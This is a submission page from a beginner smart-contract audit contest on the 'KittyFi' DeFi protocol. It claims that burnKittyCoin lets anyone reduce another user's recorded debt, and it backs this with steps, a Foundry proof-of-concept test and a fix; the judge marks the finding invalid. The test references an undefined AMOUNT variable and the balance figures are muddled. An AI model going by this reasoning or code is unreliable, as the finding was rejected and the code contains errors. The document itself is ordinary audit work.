First Flight #21: KittyFi

First Flight #21
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: medium
Invalid

Anyone can burn KittyCoins on behalf of anyone else, leading to imbalance of KittyCoins

Summary

The KittyPool::burnKittyCoin function allows anyone to reduce another user's debt from the kittyCoinMeownted mapping incorrectly while burning the kittycoin from their account, leading to incorrect mapping of accounts to KittyCoins minted.

Vulnerability Details

@=> function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
kittyCoinMeownted[_onBehalfOf] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}

KittyPool::burnKittyCoin external function has a parameter called _onBehalfOf, which allows the user to burn KittyCoinson behalf of another user. This can be used by an attacker to mint extra KittyCoins without worrying about being liquidated or depositing more collateral , after they convince a victim to burn kittyCoinson attacker's behalf.

When a victim calls the KittyVault::burnKittyCoinwith attacker address as the parameter for onBehalfOf, the KittyCoin of msg.sender is burnt using the ERC20 burn function. But the reduced _ameownt value of kitty coins burnt is subtracted from the attacker's address in the kittyCoinMeowntedmapping instead of victim's address, hence incorrectly handling the amount to address for the protocol.

Proof of concept

  1. Person 1 (victim) & Person 2( attacker) both deposit equal amount of collateral into the protocol which is 10 ether.

  2. Both mint equal amount of KittyCoins(5 ether) to begin with .

  3. Person1 (victim) calls the KittyPool::burnKittyCoinfunction with address of Person2 (attacker) as the parameter for _onbehalfOf and 3 ether as the parameter for _ameownt. This burns 3 ether KittyCoins from the Person1(victim) account. It then updates the mapping kittyCoinMeownted subtracting the amount of tokens burnt from Person2(Attacker)'s address instead of person1. ie (5-3) ether.

  4. The ERC20 balanceOf function for person 1 for the KittyCoin is 2 ether (actual balance) < 5 ether, which is recorded for person 1 in kittyCoinMeownted mapping.

  5. The ERC20 balanceOf function for person 2 for the KittyCoin is 5 ether (actual balance) > 2 ether, which is recorded for person 2 in kittyCoinMeownted mapping.

  6. The differnce between the actual balance and the balance is protocol is observed.

  7. The attacker gets to mint extra 3 ether kittyCoinswithout depositing any extra collateral due to this vulnerability.

Poof of Code

Paste the following function in the KittyFiTest.t.sol

function testAnyoneCanBurnOnBehalfOfAnyone() public {
uint256 AMOUNTDEPOSIT = 10 ether;
address person1 = makeAddr("person1");
address person2 = makeAddr("person2");
deal(weth, person1, AMOUNT);
deal(weth, person2, AMOUNT);
//Depositing and minting Kittycoins for person 1
vm.startPrank(person1);
IERC20(weth).approve(address(wethVault),AMOUNTDEPOSIT);
kittyPool.depawsitMeowllateral(weth, AMOUNTDEPOSIT);
kittyPool.meowintKittyCoin(AMOUNT/2);
vm.stopPrank();
//Depositing and minting Kittycoins for person 2
vm.startPrank(person2);
IERC20(weth).approve(address(wethVault),AMOUNTDEPOSIT);
kittyPool.depawsitMeowllateral(weth, AMOUNTDEPOSIT);
kittyPool.meowintKittyCoin(AMOUNT/2);
vm.stopPrank();
//Ensuring both begin with equal amount of KittyCoins to begin with
assertEq(kittyPool.getKittyCoinMeownted(person1), kittyPool.getKittyCoinMeownted(person2));
//Person 1 calling the burnKittyCoin on behalf of person 2.
vm.startPrank(person1);
kittyPool.burnKittyCoin(person2, 3e18);
vm.stopPrank();
//printing the actual balance and balance in protocol(incorrect) for person 1.
console.log("The balance of kittyCoins of person 1 according to the protocol is ",kittyPool.getKittyCoinMeownted(person1));
console.log("The actual kitty coins balance of person 1 is ", kittyCoin.balanceOf(person1));
//asserting that the balance stored in protocol for person 1 > actual balance of person1
assert(kittyPool.getKittyCoinMeownted(person1) > kittyCoin.balanceOf(person1));
//printing the actual balance and balance in protocol(incorrect) for person2.
console.log("The balance of kittyCoins of person 2(attacker) according to the protocol is ",kittyPool.getKittyCoinMeownted(person2));
console.log("The actual kitty coins balance of person2 is", kittyCoin.balanceOf(person2));
//Asserting that the protocol balance of person 2 < actual balance of person 2.
assert(kittyPool.getKittyCoinMeownted(person2) < kittyCoin.balanceOf(person2));
}

Impact

This vulnerability poses a threat to the protocol . By violating the burnKittyCoin function, an attacker can manipulate a victim to burn on their behalf, hence giving them an option to mint more KittyCoinswithout the need of depositing more collateral into the protocol or worrying about being liquidated. Since this can happen very often, the severity of the vulnerability has been chosen to be a medium one.

Tools Used

manual review

Recommendations

Remove the _onBehalfOf parameter from the KittyPool::burnKittyCoin function and allow users to only burnKittyTokens on their behalf.
By making the below changes, we can ensure that anyone is not able to burn KittyCoinson behalf of someone else.

- function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
+ function burnKittyCoin(uint256 _ameownt) external {
- kittyCoinMeownted[_onBehalfOf] -= _ameownt;
+ kittyCoinMeownted[msg.sender] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}
Updates

Lead Judging Commences

shikhar229169 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.